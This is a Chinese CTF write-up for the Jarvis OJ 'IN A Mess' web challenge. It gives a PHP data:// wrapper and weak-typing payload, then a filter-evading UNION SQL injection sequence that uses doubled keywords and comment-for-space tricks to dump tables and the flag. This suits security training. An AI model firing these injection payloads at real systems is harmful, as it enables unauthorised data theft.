Jarvis OJ web部分_IN A Mess

Jarvis OJ web部分_IN A Mess

题目链接:http://web.jarvisoj.com:32780/

打开题目,之后在注释中发现提示,index.phps
在这里插入图片描述
之后访问之得到源码。
在这里插入图片描述
接下来一步一步分析。

if(!$_GET['id'])              //这里如果$_GET['id']返回的值为0,则将跳转到index.php?id=1这个页面,所以传入的id不能为0
{                                    
	header('Location: index.php?id=1');
	exit();
}
    if(stripos($a,'.'))     //这里a中不能有'.'出现
    {
    	echo 'Hahahahahaha';
    	return ;
    }
    $data = @file_get_contents($a,'r');    //这里可以用PHP伪协议data://text/plain对data直接赋值
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    { 
    这里的id=0与上面的id不能为0冲突了,但是这里可以用php弱类型,传入id=0ex使条件成立
    传入的b要大于5五位数,传入的第一个字符不能为4,并且将第一个字符拼接在114的后面在和1114比较。
    	require("flag.txt");
    }

值的注意的是,eregi函数是进行正则匹配的,所以可以利用正则匹配的规则,将b的第一个字符串设置为.*,都可以满足条件。
综上,这里的payload可以为:

 index.php?id=0e0&a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==&b=.400000

提交后,得到
在这里插入图片描述
天真的我以为已经成功了,便花式提交flag,但无论怎么提交都不行。
于是注意到了come on,就试试访问了^HT2mCpcvOLf这个页面,果然,坑爹啊!
在这里插入图片描述
还藏着sql注入。。。
那就注入试试吧。
经过万般测试,过滤了union,select,from,/**/,–+,空格
还留着#并且union和select可以双写代替,空格可以用/*anthing*/代替
之后正式开始注入。

?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1#    报错
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2#    报错
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,3#    回显3

说明注入位置在3的位置
接下来爆库名:
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(database())# 回显test
爆表名:

 ?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(table_name)/*s*/frofromm/*s*/information_schema.tables/*s*/where/*s*/table_schema=database()#       回显content

爆列名:
这里表名用16进制表示

 ?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(column_name)/*s*/frofromm/*s*/information_schema.columns/*s*/where/*s*/table_name=0x636f6e74656e74#     回显id,context,title

猜测flag应该在context这个列中
爆数据:

?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(context)/*s*/frofromm/*s*/content#

最后得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用是一段关于利用pwntools库对jarvisoj_level0进行攻击的代码。代码中使用了remote()方法建立了远程连接,并构造了一个payload来利用栈溢出漏洞,最终执行callsystem()函数来获取shell权限。引用也是类似的代码,只是连接的地址不同。引用是一篇关于pwntools基本用法的文章,并提供了一些常用的函数和方法。根据这些引用内容,可以得出结论,jarvisoj_level0是一个存在栈溢出漏洞的程序,可以通过构造特定的payload来执行系统调用函数,从而获取shell权限。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [jarvisoj_level0](https://blog.csdn.net/weixin_56301399/article/details/125919313)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [jarvisOJ-level0](https://blog.csdn.net/qq_35661990/article/details/82889103)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [jarvis oj---level0解题方法](https://blog.csdn.net/weixin_45427676/article/details/97272924)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值